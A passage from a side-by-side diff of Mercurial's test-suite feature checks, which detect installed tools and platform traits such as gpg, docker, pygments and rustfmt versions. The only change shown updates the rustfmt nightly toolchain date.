557 return matchoutput('tla --version 2>&1', br'The GNU Arch Revision')
557 return matchoutput('tla --version 2>&1', br'The GNU Arch Revision')
558
558
559
559
560 @check("gpg", "gpg client")
560 @check("gpg", "gpg client")
561 def has_gpg():
561 def has_gpg():
562 return matchoutput('gpg --version 2>&1', br'GnuPG')
562 return matchoutput('gpg --version 2>&1', br'GnuPG')
563
563
564
564
565 @check("gpg2", "gpg client v2")
565 @check("gpg2", "gpg client v2")
566 def has_gpg2():
566 def has_gpg2():
567 return matchoutput('gpg --version 2>&1', br'GnuPG[^0-9]+2\.')
567 return matchoutput('gpg --version 2>&1', br'GnuPG[^0-9]+2\.')
568
568
569
569
570 @check("gpg21", "gpg client v2.1+")
570 @check("gpg21", "gpg client v2.1+")
571 def has_gpg21():
571 def has_gpg21():
572 return matchoutput('gpg --version 2>&1', br'GnuPG[^0-9]+2\.(?!0)')
572 return matchoutput('gpg --version 2>&1', br'GnuPG[^0-9]+2\.(?!0)')
573
573
574
574
575 @check("unix-permissions", "unix-style permissions")
575 @check("unix-permissions", "unix-style permissions")
576 def has_unix_permissions():
576 def has_unix_permissions():
577 d = tempfile.mkdtemp(dir='.', prefix=tempprefix)
577 d = tempfile.mkdtemp(dir='.', prefix=tempprefix)
578 try:
578 try:
579 fname = os.path.join(d, 'foo')
579 fname = os.path.join(d, 'foo')
580 for umask in (0o77, 0o07, 0o22):
580 for umask in (0o77, 0o07, 0o22):
581 os.umask(umask)
581 os.umask(umask)
582 f = open(fname, 'w')
582 f = open(fname, 'w')
583 f.close()
583 f.close()
584 mode = os.stat(fname).st_mode
584 mode = os.stat(fname).st_mode
585 os.unlink(fname)
585 os.unlink(fname)
586 if mode & 0o777 != ~umask & 0o666:
586 if mode & 0o777 != ~umask & 0o666:
587 return False
587 return False
588 return True
588 return True
589 finally:
589 finally:
590 os.rmdir(d)
590 os.rmdir(d)
591
591
592
592
593 @check("unix-socket", "AF_UNIX socket family")
593 @check("unix-socket", "AF_UNIX socket family")
594 def has_unix_socket():
594 def has_unix_socket():
595 return getattr(socket, 'AF_UNIX', None) is not None
595 return getattr(socket, 'AF_UNIX', None) is not None
596
596
597
597
598 @check("root", "root permissions")
598 @check("root", "root permissions")
599 def has_root():
599 def has_root():
600 return getattr(os, 'geteuid', None) and os.geteuid() == 0
600 return getattr(os, 'geteuid', None) and os.geteuid() == 0
601
601
602
602
603 @check("pyflakes", "Pyflakes python linter")
603 @check("pyflakes", "Pyflakes python linter")
604 def has_pyflakes():
604 def has_pyflakes():
605 try:
605 try:
606 import pyflakes
606 import pyflakes
607
607
608 pyflakes.__version__
608 pyflakes.__version__
609 except ImportError:
609 except ImportError:
610 return False
610 return False
611 else:
611 else:
612 return True
612 return True
613
613
614
614
615 @check("pylint", "Pylint python linter")
615 @check("pylint", "Pylint python linter")
616 def has_pylint():
616 def has_pylint():
617 return matchoutput("pylint --help", br"Usage:[ ]+pylint", True)
617 return matchoutput("pylint --help", br"Usage:[ ]+pylint", True)
618
618
619
619
620 @check("clang-format", "clang-format C code formatter (>= 11)")
620 @check("clang-format", "clang-format C code formatter (>= 11)")
621 def has_clang_format():
621 def has_clang_format():
622 m = matchoutput('clang-format --version', br'clang-format version (\d+)')
622 m = matchoutput('clang-format --version', br'clang-format version (\d+)')
623 # style changed somewhere between 10.x and 11.x
623 # style changed somewhere between 10.x and 11.x
624 if m:
624 if m:
625 return int(m.group(1)) >= 11
625 return int(m.group(1)) >= 11
626 # Assist Googler contributors, they have a centrally-maintained version of
626 # Assist Googler contributors, they have a centrally-maintained version of
627 # clang-format that is generally very fresh, but unlike most builds (both
627 # clang-format that is generally very fresh, but unlike most builds (both
628 # official and unofficial), it does *not* include a version number.
628 # official and unofficial), it does *not* include a version number.
629 return matchoutput(
629 return matchoutput(
630 'clang-format --version', br'clang-format .*google3-trunk \([0-9a-f]+\)'
630 'clang-format --version', br'clang-format .*google3-trunk \([0-9a-f]+\)'
631 )
631 )
632
632
633
633
634 @check("jshint", "JSHint static code analysis tool")
634 @check("jshint", "JSHint static code analysis tool")
635 def has_jshint():
635 def has_jshint():
636 return matchoutput("jshint --version 2>&1", br"jshint v")
636 return matchoutput("jshint --version 2>&1", br"jshint v")
637
637
638
638
639 @check("pygments", "Pygments source highlighting library")
639 @check("pygments", "Pygments source highlighting library")
640 def has_pygments():
640 def has_pygments():
641 try:
641 try:
642 import pygments
642 import pygments
643
643
644 pygments.highlight # silence unused import warning
644 pygments.highlight # silence unused import warning
645 return True
645 return True
646 except ImportError:
646 except ImportError:
647 return False
647 return False
648
648
649
649
650 @check("pygments25", "Pygments version >= 2.5")
650 @check("pygments25", "Pygments version >= 2.5")
651 def pygments25():
651 def pygments25():
652 try:
652 try:
653 import pygments
653 import pygments
654
654
655 v = pygments.__version__
655 v = pygments.__version__
656 except ImportError:
656 except ImportError:
657 return False
657 return False
658
658
659 parts = v.split(".")
659 parts = v.split(".")
660 major = int(parts[0])
660 major = int(parts[0])
661 minor = int(parts[1])
661 minor = int(parts[1])
662
662
663 return (major, minor) >= (2, 5)
663 return (major, minor) >= (2, 5)
664
664
665
665
666 @check("pygments211", "Pygments version >= 2.11")
666 @check("pygments211", "Pygments version >= 2.11")
667 def pygments211():
667 def pygments211():
668 try:
668 try:
669 import pygments
669 import pygments
670
670
671 v = pygments.__version__
671 v = pygments.__version__
672 except ImportError:
672 except ImportError:
673 return False
673 return False
674
674
675 parts = v.split(".")
675 parts = v.split(".")
676 major = int(parts[0])
676 major = int(parts[0])
677 minor = int(parts[1])
677 minor = int(parts[1])
678
678
679 return (major, minor) >= (2, 11)
679 return (major, minor) >= (2, 11)
680
680
681
681
682 @check("outer-repo", "outer repo")
682 @check("outer-repo", "outer repo")
683 def has_outer_repo():
683 def has_outer_repo():
684 # failing for other reasons than 'no repo' imply that there is a repo
684 # failing for other reasons than 'no repo' imply that there is a repo
685 return not matchoutput('hg root 2>&1', br'abort: no repository found', True)
685 return not matchoutput('hg root 2>&1', br'abort: no repository found', True)
686
686
687
687
688 @check("ssl", "ssl module available")
688 @check("ssl", "ssl module available")
689 def has_ssl():
689 def has_ssl():
690 try:
690 try:
691 import ssl
691 import ssl
692
692
693 ssl.CERT_NONE
693 ssl.CERT_NONE
694 return True
694 return True
695 except ImportError:
695 except ImportError:
696 return False
696 return False
697
697
698
698
699 @check("defaultcacertsloaded", "detected presence of loaded system CA certs")
699 @check("defaultcacertsloaded", "detected presence of loaded system CA certs")
700 def has_defaultcacertsloaded():
700 def has_defaultcacertsloaded():
701 import ssl
701 import ssl
702 from mercurial import sslutil, ui as uimod
702 from mercurial import sslutil, ui as uimod
703
703
704 ui = uimod.ui.load()
704 ui = uimod.ui.load()
705 cafile = sslutil._defaultcacerts(ui)
705 cafile = sslutil._defaultcacerts(ui)
706 ctx = ssl.create_default_context()
706 ctx = ssl.create_default_context()
707 if cafile:
707 if cafile:
708 ctx.load_verify_locations(cafile=cafile)
708 ctx.load_verify_locations(cafile=cafile)
709 else:
709 else:
710 ctx.load_default_certs()
710 ctx.load_default_certs()
711
711
712 return len(ctx.get_ca_certs()) > 0
712 return len(ctx.get_ca_certs()) > 0
713
713
714
714
715 @check("tls1.2", "TLS 1.2 protocol support")
715 @check("tls1.2", "TLS 1.2 protocol support")
716 def has_tls1_2():
716 def has_tls1_2():
717 from mercurial import sslutil
717 from mercurial import sslutil
718
718
719 return b'tls1.2' in sslutil.supportedprotocols
719 return b'tls1.2' in sslutil.supportedprotocols
720
720
721
721
722 @check("windows", "Windows")
722 @check("windows", "Windows")
723 def has_windows():
723 def has_windows():
724 return os.name == 'nt'
724 return os.name == 'nt'
725
725
726
726
727 @check("system-sh", "system() uses sh")
727 @check("system-sh", "system() uses sh")
728 def has_system_sh():
728 def has_system_sh():
729 return os.name != 'nt'
729 return os.name != 'nt'
730
730
731
731
732 @check("serve", "platform and python can manage 'hg serve -d'")
732 @check("serve", "platform and python can manage 'hg serve -d'")
733 def has_serve():
733 def has_serve():
734 return True
734 return True
735
735
736
736
737 @check("setprocname", "whether osutil.setprocname is available or not")
737 @check("setprocname", "whether osutil.setprocname is available or not")
738 def has_setprocname():
738 def has_setprocname():
739 try:
739 try:
740 from mercurial.utils import procutil
740 from mercurial.utils import procutil
741
741
742 procutil.setprocname
742 procutil.setprocname
743 return True
743 return True
744 except AttributeError:
744 except AttributeError:
745 return False
745 return False
746
746
747
747
748 @check("test-repo", "running tests from repository")
748 @check("test-repo", "running tests from repository")
749 def has_test_repo():
749 def has_test_repo():
750 t = os.environ["TESTDIR"]
750 t = os.environ["TESTDIR"]
751 return os.path.isdir(os.path.join(t, "..", ".hg"))
751 return os.path.isdir(os.path.join(t, "..", ".hg"))
752
752
753
753
754 @check("network-io", "whether tests are allowed to access 3rd party services")
754 @check("network-io", "whether tests are allowed to access 3rd party services")
755 def has_test_repo():
755 def has_test_repo():
756 t = os.environ.get("HGTESTS_ALLOW_NETIO")
756 t = os.environ.get("HGTESTS_ALLOW_NETIO")
757 return t == "1"
757 return t == "1"
758
758
759
759
760 @check("curses", "terminfo compiler and curses module")
760 @check("curses", "terminfo compiler and curses module")
761 def has_curses():
761 def has_curses():
762 try:
762 try:
763 import curses
763 import curses
764
764
765 curses.COLOR_BLUE
765 curses.COLOR_BLUE
766
766
767 # Windows doesn't have a `tic` executable, but the windows_curses
767 # Windows doesn't have a `tic` executable, but the windows_curses
768 # package is sufficient to run the tests without it.
768 # package is sufficient to run the tests without it.
769 if os.name == 'nt':
769 if os.name == 'nt':
770 return True
770 return True
771
771
772 return has_tic()
772 return has_tic()
773
773
774 except (ImportError, AttributeError):
774 except (ImportError, AttributeError):
775 return False
775 return False
776
776
777
777
778 @check("tic", "terminfo compiler")
778 @check("tic", "terminfo compiler")
779 def has_tic():
779 def has_tic():
780 return matchoutput('test -x "`which tic`"', br'')
780 return matchoutput('test -x "`which tic`"', br'')
781
781
782
782
783 @check("xz", "xz compression utility")
783 @check("xz", "xz compression utility")
784 def has_xz():
784 def has_xz():
785 # When Windows invokes a subprocess in shell mode, it uses `cmd.exe`, which
785 # When Windows invokes a subprocess in shell mode, it uses `cmd.exe`, which
786 # only knows `where`, not `which`. So invoke MSYS shell explicitly.
786 # only knows `where`, not `which`. So invoke MSYS shell explicitly.
787 return matchoutput("sh -c 'test -x \"`which xz`\"'", b'')
787 return matchoutput("sh -c 'test -x \"`which xz`\"'", b'')
788
788
789
789
790 @check("msys", "Windows with MSYS")
790 @check("msys", "Windows with MSYS")
791 def has_msys():
791 def has_msys():
792 return os.getenv('MSYSTEM')
792 return os.getenv('MSYSTEM')
793
793
794
794
795 @check("aix", "AIX")
795 @check("aix", "AIX")
796 def has_aix():
796 def has_aix():
797 return sys.platform.startswith("aix")
797 return sys.platform.startswith("aix")
798
798
799
799
800 @check("osx", "OS X")
800 @check("osx", "OS X")
801 def has_osx():
801 def has_osx():
802 return sys.platform == 'darwin'
802 return sys.platform == 'darwin'
803
803
804
804
805 @check("osxpackaging", "OS X packaging tools")
805 @check("osxpackaging", "OS X packaging tools")
806 def has_osxpackaging():
806 def has_osxpackaging():
807 try:
807 try:
808 return (
808 return (
809 matchoutput('pkgbuild', br'Usage: pkgbuild ', ignorestatus=1)
809 matchoutput('pkgbuild', br'Usage: pkgbuild ', ignorestatus=1)
810 and matchoutput(
810 and matchoutput(
811 'productbuild', br'Usage: productbuild ', ignorestatus=1
811 'productbuild', br'Usage: productbuild ', ignorestatus=1
812 )
812 )
813 and matchoutput('lsbom', br'Usage: lsbom', ignorestatus=1)
813 and matchoutput('lsbom', br'Usage: lsbom', ignorestatus=1)
814 and matchoutput('xar --help', br'Usage: xar', ignorestatus=1)
814 and matchoutput('xar --help', br'Usage: xar', ignorestatus=1)
815 )
815 )
816 except ImportError:
816 except ImportError:
817 return False
817 return False
818
818
819
819
820 @check('linuxormacos', 'Linux or MacOS')
820 @check('linuxormacos', 'Linux or MacOS')
821 def has_linuxormacos():
821 def has_linuxormacos():
822 # This isn't a perfect test for MacOS. But it is sufficient for our needs.
822 # This isn't a perfect test for MacOS. But it is sufficient for our needs.
823 return sys.platform.startswith(('linux', 'darwin'))
823 return sys.platform.startswith(('linux', 'darwin'))
824
824
825
825
826 @check("docker", "docker support")
826 @check("docker", "docker support")
827 def has_docker():
827 def has_docker():
828 pat = br'A self-sufficient runtime for'
828 pat = br'A self-sufficient runtime for'
829 if matchoutput('docker --help', pat):
829 if matchoutput('docker --help', pat):
830 if 'linux' not in sys.platform:
830 if 'linux' not in sys.platform:
831 # TODO: in theory we should be able to test docker-based
831 # TODO: in theory we should be able to test docker-based
832 # package creation on non-linux using boot2docker, but in
832 # package creation on non-linux using boot2docker, but in
833 # practice that requires extra coordination to make sure
833 # practice that requires extra coordination to make sure
834 # $TESTTEMP is going to be visible at the same path to the
834 # $TESTTEMP is going to be visible at the same path to the
835 # boot2docker VM. If we figure out how to verify that, we
835 # boot2docker VM. If we figure out how to verify that, we
836 # can use the following instead of just saying False:
836 # can use the following instead of just saying False:
837 # return 'DOCKER_HOST' in os.environ
837 # return 'DOCKER_HOST' in os.environ
838 return False
838 return False
839
839
840 return True
840 return True
841 return False
841 return False
842
842
843
843
844 @check("debhelper", "debian packaging tools")
844 @check("debhelper", "debian packaging tools")
845 def has_debhelper():
845 def has_debhelper():
846 # Some versions of dpkg say `dpkg', some say 'dpkg' (` vs ' on the first
846 # Some versions of dpkg say `dpkg', some say 'dpkg' (` vs ' on the first
847 # quote), so just accept anything in that spot.
847 # quote), so just accept anything in that spot.
848 dpkg = matchoutput(
848 dpkg = matchoutput(
849 'dpkg --version', br"Debian .dpkg' package management program"
849 'dpkg --version', br"Debian .dpkg' package management program"
850 )
850 )
851 dh = matchoutput(
851 dh = matchoutput(
852 'dh --help', br'dh is a part of debhelper.', ignorestatus=True
852 'dh --help', br'dh is a part of debhelper.', ignorestatus=True
853 )
853 )
854 dh_py2 = matchoutput(
854 dh_py2 = matchoutput(
855 'dh_python2 --help', br'other supported Python versions'
855 'dh_python2 --help', br'other supported Python versions'
856 )
856 )
857 # debuild comes from the 'devscripts' package, though you might want
857 # debuild comes from the 'devscripts' package, though you might want
858 # the 'build-debs' package instead, which has a dependency on devscripts.
858 # the 'build-debs' package instead, which has a dependency on devscripts.
859 debuild = matchoutput(
859 debuild = matchoutput(
860 'debuild --help', br'to run debian/rules with given parameter'
860 'debuild --help', br'to run debian/rules with given parameter'
861 )
861 )
862 return dpkg and dh and dh_py2 and debuild
862 return dpkg and dh and dh_py2 and debuild
863
863
864
864
865 @check(
865 @check(
866 "debdeps", "debian build dependencies (run dpkg-checkbuilddeps in contrib/)"
866 "debdeps", "debian build dependencies (run dpkg-checkbuilddeps in contrib/)"
867 )
867 )
868 def has_debdeps():
868 def has_debdeps():
869 # just check exit status (ignoring output)
869 # just check exit status (ignoring output)
870 path = '%s/../contrib/packaging/debian/control' % os.environ['TESTDIR']
870 path = '%s/../contrib/packaging/debian/control' % os.environ['TESTDIR']
871 return matchoutput('dpkg-checkbuilddeps %s' % path, br'')
871 return matchoutput('dpkg-checkbuilddeps %s' % path, br'')
872
872
873
873
874 @check("demandimport", "demandimport enabled")
874 @check("demandimport", "demandimport enabled")
875 def has_demandimport():
875 def has_demandimport():
876 # chg disables demandimport intentionally for performance wins.
876 # chg disables demandimport intentionally for performance wins.
877 return (not has_chg()) and os.environ.get('HGDEMANDIMPORT') != 'disable'
877 return (not has_chg()) and os.environ.get('HGDEMANDIMPORT') != 'disable'
878
878
879
879
880 # Add "py27", "py35", ... as possible feature checks. Note that there's no
880 # Add "py27", "py35", ... as possible feature checks. Note that there's no
881 # punctuation here.
881 # punctuation here.
882 @checkvers("py", "Python >= %s", (2.7, 3.5, 3.6, 3.7, 3.8, 3.9))
882 @checkvers("py", "Python >= %s", (2.7, 3.5, 3.6, 3.7, 3.8, 3.9))
883 def has_python_range(v):
883 def has_python_range(v):
884 major, minor = v.split('.')[0:2]
884 major, minor = v.split('.')[0:2]
885 py_major, py_minor = sys.version_info.major, sys.version_info.minor
885 py_major, py_minor = sys.version_info.major, sys.version_info.minor
886
886
887 return (py_major, py_minor) >= (int(major), int(minor))
887 return (py_major, py_minor) >= (int(major), int(minor))
888
888
889
889
890 @check("py3", "running with Python 3.x")
890 @check("py3", "running with Python 3.x")
891 def has_py3():
891 def has_py3():
892 return 3 == sys.version_info[0]
892 return 3 == sys.version_info[0]
893
893
894
894
895 @check("py3exe", "a Python 3.x interpreter is available")
895 @check("py3exe", "a Python 3.x interpreter is available")
896 def has_python3exe():
896 def has_python3exe():
897 py = 'python3'
897 py = 'python3'
898 if os.name == 'nt':
898 if os.name == 'nt':
899 py = 'py -3'
899 py = 'py -3'
900 return matchoutput('%s -V' % py, br'^Python 3.(5|6|7|8|9)')
900 return matchoutput('%s -V' % py, br'^Python 3.(5|6|7|8|9)')
901
901
902
902
903 @check("pure", "running with pure Python code")
903 @check("pure", "running with pure Python code")
904 def has_pure():
904 def has_pure():
905 return any(
905 return any(
906 [
906 [
907 os.environ.get("HGMODULEPOLICY") == "py",
907 os.environ.get("HGMODULEPOLICY") == "py",
908 os.environ.get("HGTEST_RUN_TESTS_PURE") == "--pure",
908 os.environ.get("HGTEST_RUN_TESTS_PURE") == "--pure",
909 ]
909 ]
910 )
910 )
911
911
912
912
913 @check("slow", "allow slow tests (use --allow-slow-tests)")
913 @check("slow", "allow slow tests (use --allow-slow-tests)")
914 def has_slow():
914 def has_slow():
915 return os.environ.get('HGTEST_SLOW') == 'slow'
915 return os.environ.get('HGTEST_SLOW') == 'slow'
916
916
917
917
918 @check("hypothesis", "Hypothesis automated test generation")
918 @check("hypothesis", "Hypothesis automated test generation")
919 def has_hypothesis():
919 def has_hypothesis():
920 try:
920 try:
921 import hypothesis
921 import hypothesis
922
922
923 hypothesis.given
923 hypothesis.given
924 return True
924 return True
925 except ImportError:
925 except ImportError:
926 return False
926 return False
927
927
928
928
929 @check("unziplinks", "unzip(1) understands and extracts symlinks")
929 @check("unziplinks", "unzip(1) understands and extracts symlinks")
930 def unzip_understands_symlinks():
930 def unzip_understands_symlinks():
931 return matchoutput('unzip --help', br'Info-ZIP')
931 return matchoutput('unzip --help', br'Info-ZIP')
932
932
933
933
934 @check("zstd", "zstd Python module available")
934 @check("zstd", "zstd Python module available")
935 def has_zstd():
935 def has_zstd():
936 try:
936 try:
937 import mercurial.zstd
937 import mercurial.zstd
938
938
939 mercurial.zstd.__version__
939 mercurial.zstd.__version__
940 return True
940 return True
941 except ImportError:
941 except ImportError:
942 return False
942 return False
943
943
944
944
945 @check("devfull", "/dev/full special file")
945 @check("devfull", "/dev/full special file")
946 def has_dev_full():
946 def has_dev_full():
947 return os.path.exists('/dev/full')
947 return os.path.exists('/dev/full')
948
948
949
949
950 @check("ensurepip", "ensurepip module")
950 @check("ensurepip", "ensurepip module")
951 def has_ensurepip():
951 def has_ensurepip():
952 try:
952 try:
953 import ensurepip
953 import ensurepip
954
954
955 ensurepip.bootstrap
955 ensurepip.bootstrap
956 return True
956 return True
957 except ImportError:
957 except ImportError:
958 return False
958 return False
959
959
960
960
961 @check("virtualenv", "virtualenv support")
961 @check("virtualenv", "virtualenv support")
962 def has_virtualenv():
962 def has_virtualenv():
963 try:
963 try:
964 import virtualenv
964 import virtualenv
965
965
966 # --no-site-package became the default in 1.7 (Nov 2011), and the
966 # --no-site-package became the default in 1.7 (Nov 2011), and the
967 # argument was removed in 20.0 (Feb 2020). Rather than make the
967 # argument was removed in 20.0 (Feb 2020). Rather than make the
968 # script complicated, just ignore ancient versions.
968 # script complicated, just ignore ancient versions.
969 return int(virtualenv.__version__.split('.')[0]) > 1
969 return int(virtualenv.__version__.split('.')[0]) > 1
970 except (AttributeError, ImportError, IndexError):
970 except (AttributeError, ImportError, IndexError):
971 return False
971 return False
972
972
973
973
974 @check("fsmonitor", "running tests with fsmonitor")
974 @check("fsmonitor", "running tests with fsmonitor")
975 def has_fsmonitor():
975 def has_fsmonitor():
976 return 'HGFSMONITOR_TESTS' in os.environ
976 return 'HGFSMONITOR_TESTS' in os.environ
977
977
978
978
979 @check("fuzzywuzzy", "Fuzzy string matching library")
979 @check("fuzzywuzzy", "Fuzzy string matching library")
980 def has_fuzzywuzzy():
980 def has_fuzzywuzzy():
981 try:
981 try:
982 import fuzzywuzzy
982 import fuzzywuzzy
983
983
984 fuzzywuzzy.__version__
984 fuzzywuzzy.__version__
985 return True
985 return True
986 except ImportError:
986 except ImportError:
987 return False
987 return False
988
988
989
989
990 @check("clang-libfuzzer", "clang new enough to include libfuzzer")
990 @check("clang-libfuzzer", "clang new enough to include libfuzzer")
991 def has_clang_libfuzzer():
991 def has_clang_libfuzzer():
992 mat = matchoutput('clang --version', br'clang version (\d)')
992 mat = matchoutput('clang --version', br'clang version (\d)')
993 if mat:
993 if mat:
994 # libfuzzer is new in clang 6
994 # libfuzzer is new in clang 6
995 return int(mat.group(1)) > 5
995 return int(mat.group(1)) > 5
996 return False
996 return False
997
997
998
998
999 @check("clang-6.0", "clang 6.0 with version suffix (libfuzzer included)")
999 @check("clang-6.0", "clang 6.0 with version suffix (libfuzzer included)")
1000 def has_clang60():
1000 def has_clang60():
1001 return matchoutput('clang-6.0 --version', br'clang version 6\.')
1001 return matchoutput('clang-6.0 --version', br'clang version 6\.')
1002
1002
1003
1003
1004 @check("xdiff", "xdiff algorithm")
1004 @check("xdiff", "xdiff algorithm")
1005 def has_xdiff():
1005 def has_xdiff():
1006 try:
1006 try:
1007 from mercurial import policy
1007 from mercurial import policy
1008
1008
1009 bdiff = policy.importmod('bdiff')
1009 bdiff = policy.importmod('bdiff')
1010 return bdiff.xdiffblocks(b'', b'') == [(0, 0, 0, 0)]
1010 return bdiff.xdiffblocks(b'', b'') == [(0, 0, 0, 0)]
1011 except (ImportError, AttributeError):
1011 except (ImportError, AttributeError):
1012 return False
1012 return False
1013
1013
1014
1014
1015 @check('extraextensions', 'whether tests are running with extra extensions')
1015 @check('extraextensions', 'whether tests are running with extra extensions')
1016 def has_extraextensions():
1016 def has_extraextensions():
1017 return 'HGTESTEXTRAEXTENSIONS' in os.environ
1017 return 'HGTESTEXTRAEXTENSIONS' in os.environ
1018
1018
1019
1019
1020 def getrepofeatures():
1020 def getrepofeatures():
1021 """Obtain set of repository features in use.
1021 """Obtain set of repository features in use.
1022
1022
1023 HGREPOFEATURES can be used to define or remove features. It contains
1023 HGREPOFEATURES can be used to define or remove features. It contains
1024 a space-delimited list of feature strings. Strings beginning with ``-``
1024 a space-delimited list of feature strings. Strings beginning with ``-``
1025 mean to remove.
1025 mean to remove.
1026 """
1026 """
1027 # Default list provided by core.
1027 # Default list provided by core.
1028 features = {
1028 features = {
1029 'bundlerepo',
1029 'bundlerepo',
1030 'revlogstore',
1030 'revlogstore',
1031 'fncache',
1031 'fncache',
1032 }
1032 }
1033
1033
1034 # Features that imply other features.
1034 # Features that imply other features.
1035 implies = {
1035 implies = {
1036 'simplestore': ['-revlogstore', '-bundlerepo', '-fncache'],
1036 'simplestore': ['-revlogstore', '-bundlerepo', '-fncache'],
1037 }
1037 }
1038
1038
1039 for override in os.environ.get('HGREPOFEATURES', '').split(' '):
1039 for override in os.environ.get('HGREPOFEATURES', '').split(' '):
1040 if not override:
1040 if not override:
1041 continue
1041 continue
1042
1042
1043 if override.startswith('-'):
1043 if override.startswith('-'):
1044 if override[1:] in features:
1044 if override[1:] in features:
1045 features.remove(override[1:])
1045 features.remove(override[1:])
1046 else:
1046 else:
1047 features.add(override)
1047 features.add(override)
1048
1048
1049 for imply in implies.get(override, []):
1049 for imply in implies.get(override, []):
1050 if imply.startswith('-'):
1050 if imply.startswith('-'):
1051 if imply[1:] in features:
1051 if imply[1:] in features:
1052 features.remove(imply[1:])
1052 features.remove(imply[1:])
1053 else:
1053 else:
1054 features.add(imply)
1054 features.add(imply)
1055
1055
1056 return features
1056 return features
1057
1057
1058
1058
1059 @check('reporevlogstore', 'repository using the default revlog store')
1059 @check('reporevlogstore', 'repository using the default revlog store')
1060 def has_reporevlogstore():
1060 def has_reporevlogstore():
1061 return 'revlogstore' in getrepofeatures()
1061 return 'revlogstore' in getrepofeatures()
1062
1062
1063
1063
1064 @check('reposimplestore', 'repository using simple storage extension')
1064 @check('reposimplestore', 'repository using simple storage extension')
1065 def has_reposimplestore():
1065 def has_reposimplestore():
1066 return 'simplestore' in getrepofeatures()
1066 return 'simplestore' in getrepofeatures()
1067
1067
1068
1068
1069 @check('repobundlerepo', 'whether we can open bundle files as repos')
1069 @check('repobundlerepo', 'whether we can open bundle files as repos')
1070 def has_repobundlerepo():
1070 def has_repobundlerepo():
1071 return 'bundlerepo' in getrepofeatures()
1071 return 'bundlerepo' in getrepofeatures()
1072
1072
1073
1073
1074 @check('repofncache', 'repository has an fncache')
1074 @check('repofncache', 'repository has an fncache')
1075 def has_repofncache():
1075 def has_repofncache():
1076 return 'fncache' in getrepofeatures()
1076 return 'fncache' in getrepofeatures()
1077
1077
1078
1078
1079 @check('dirstate-v2', 'using the v2 format of .hg/dirstate')
1079 @check('dirstate-v2', 'using the v2 format of .hg/dirstate')
1080 def has_dirstate_v2():
1080 def has_dirstate_v2():
1081 # Keep this logic in sync with `newreporequirements()` in `mercurial/localrepo.py`
1081 # Keep this logic in sync with `newreporequirements()` in `mercurial/localrepo.py`
1082 return has_rust() and matchoutput(
1082 return has_rust() and matchoutput(
1083 'hg config format.exp-rc-dirstate-v2', b'(?i)1|yes|true|on|always'
1083 'hg config format.exp-rc-dirstate-v2', b'(?i)1|yes|true|on|always'
1084 )
1084 )
1085
1085
1086
1086
1087 @check('sqlite', 'sqlite3 module and matching cli is available')
1087 @check('sqlite', 'sqlite3 module and matching cli is available')
1088 def has_sqlite():
1088 def has_sqlite():
1089 try:
1089 try:
1090 import sqlite3
1090 import sqlite3
1091
1091
1092 version = sqlite3.sqlite_version_info
1092 version = sqlite3.sqlite_version_info
1093 except ImportError:
1093 except ImportError:
1094 return False
1094 return False
1095
1095
1096 if version < (3, 8, 3):
1096 if version < (3, 8, 3):
1097 # WITH clause not supported
1097 # WITH clause not supported
1098 return False
1098 return False
1099
1099
1100 return matchoutput('sqlite3 -version', br'^3\.\d+')
1100 return matchoutput('sqlite3 -version', br'^3\.\d+')
1101
1101
1102
1102
1103 @check('vcr', 'vcr http mocking library (pytest-vcr)')
1103 @check('vcr', 'vcr http mocking library (pytest-vcr)')
1104 def has_vcr():
1104 def has_vcr():
1105 try:
1105 try:
1106 import vcr
1106 import vcr
1107
1107
1108 vcr.VCR
1108 vcr.VCR
1109 return True
1109 return True
1110 except (ImportError, AttributeError):
1110 except (ImportError, AttributeError):
1111 pass
1111 pass
1112 return False
1112 return False
1113
1113
1114
1114
1115 @check('emacs', 'GNU Emacs')
1115 @check('emacs', 'GNU Emacs')
1116 def has_emacs():
1116 def has_emacs():
1117 # Our emacs lisp uses `with-eval-after-load` which is new in emacs
1117 # Our emacs lisp uses `with-eval-after-load` which is new in emacs
1118 # 24.4, so we allow emacs 24.4, 24.5, and 25+ (24.5 was the last
1118 # 24.4, so we allow emacs 24.4, 24.5, and 25+ (24.5 was the last
1119 # 24 release)
1119 # 24 release)
1120 return matchoutput('emacs --version', b'GNU Emacs 2(4.4|4.5|5|6|7|8|9)')
1120 return matchoutput('emacs --version', b'GNU Emacs 2(4.4|4.5|5|6|7|8|9)')
1121
1121
1122
1122
1123 @check('black', 'the black formatter for python (>= 20.8b1)')
1123 @check('black', 'the black formatter for python (>= 20.8b1)')
1124 def has_black():
1124 def has_black():
1125 blackcmd = 'black --version'
1125 blackcmd = 'black --version'
1126 version_regex = b'black, version ([0-9a-b.]+)'
1126 version_regex = b'black, version ([0-9a-b.]+)'
1127 version = matchoutput(blackcmd, version_regex)
1127 version = matchoutput(blackcmd, version_regex)
1128 sv = distutils.version.StrictVersion
1128 sv = distutils.version.StrictVersion
1129 return version and sv(_bytes2sys(version.group(1))) >= sv('20.8b1')
1129 return version and sv(_bytes2sys(version.group(1))) >= sv('20.8b1')
1130
1130
1131
1131
1132 @check('pytype', 'the pytype type checker')
1132 @check('pytype', 'the pytype type checker')
1133 def has_pytype():
1133 def has_pytype():
1134 pytypecmd = 'pytype --version'
1134 pytypecmd = 'pytype --version'
1135 version = matchoutput(pytypecmd, b'[0-9a-b.]+')
1135 version = matchoutput(pytypecmd, b'[0-9a-b.]+')
1136 sv = distutils.version.StrictVersion
1136 sv = distutils.version.StrictVersion
1137 return version and sv(_bytes2sys(version.group(0))) >= sv('2019.10.17')
1137 return version and sv(_bytes2sys(version.group(0))) >= sv('2019.10.17')
1138
1138
1139
1139
1140 @check("rustfmt", "rustfmt tool at version nightly-2020-10-04")
1140 @check("rustfmt", "rustfmt tool at version nightly-2021-11-02")
1141 def has_rustfmt():
1141 def has_rustfmt():
1142 # We use Nightly's rustfmt due to current unstable config options.
1142 # We use Nightly's rustfmt due to current unstable config options.
1143 return matchoutput(
1143 return matchoutput(
1144 '`rustup which --toolchain nightly-2020-10-04 rustfmt` --version',
1144 '`rustup which --toolchain nightly-2021-11-02 rustfmt` --version',
1145 b'rustfmt',
1145 b'rustfmt',
1146 )
1146 )
1147
1147
1148
1148
1149 @check("cargo", "cargo tool")
1149 @check("cargo", "cargo tool")
1150 def has_cargo():
1150 def has_cargo():
1151 return matchoutput('`rustup which cargo` --version', b'cargo')
1151 return matchoutput('`rustup which cargo` --version', b'cargo')
1152
1152
1153
1153
1154 @check("lzma", "python lzma module")
1154 @check("lzma", "python lzma module")
1155 def has_lzma():
1155 def has_lzma():
1156 try:
1156 try:
1157 import _lzma
1157 import _lzma
1158
1158
1159 _lzma.FORMAT_XZ
1159 _lzma.FORMAT_XZ
1160 return True
1160 return True
1161 except ImportError:
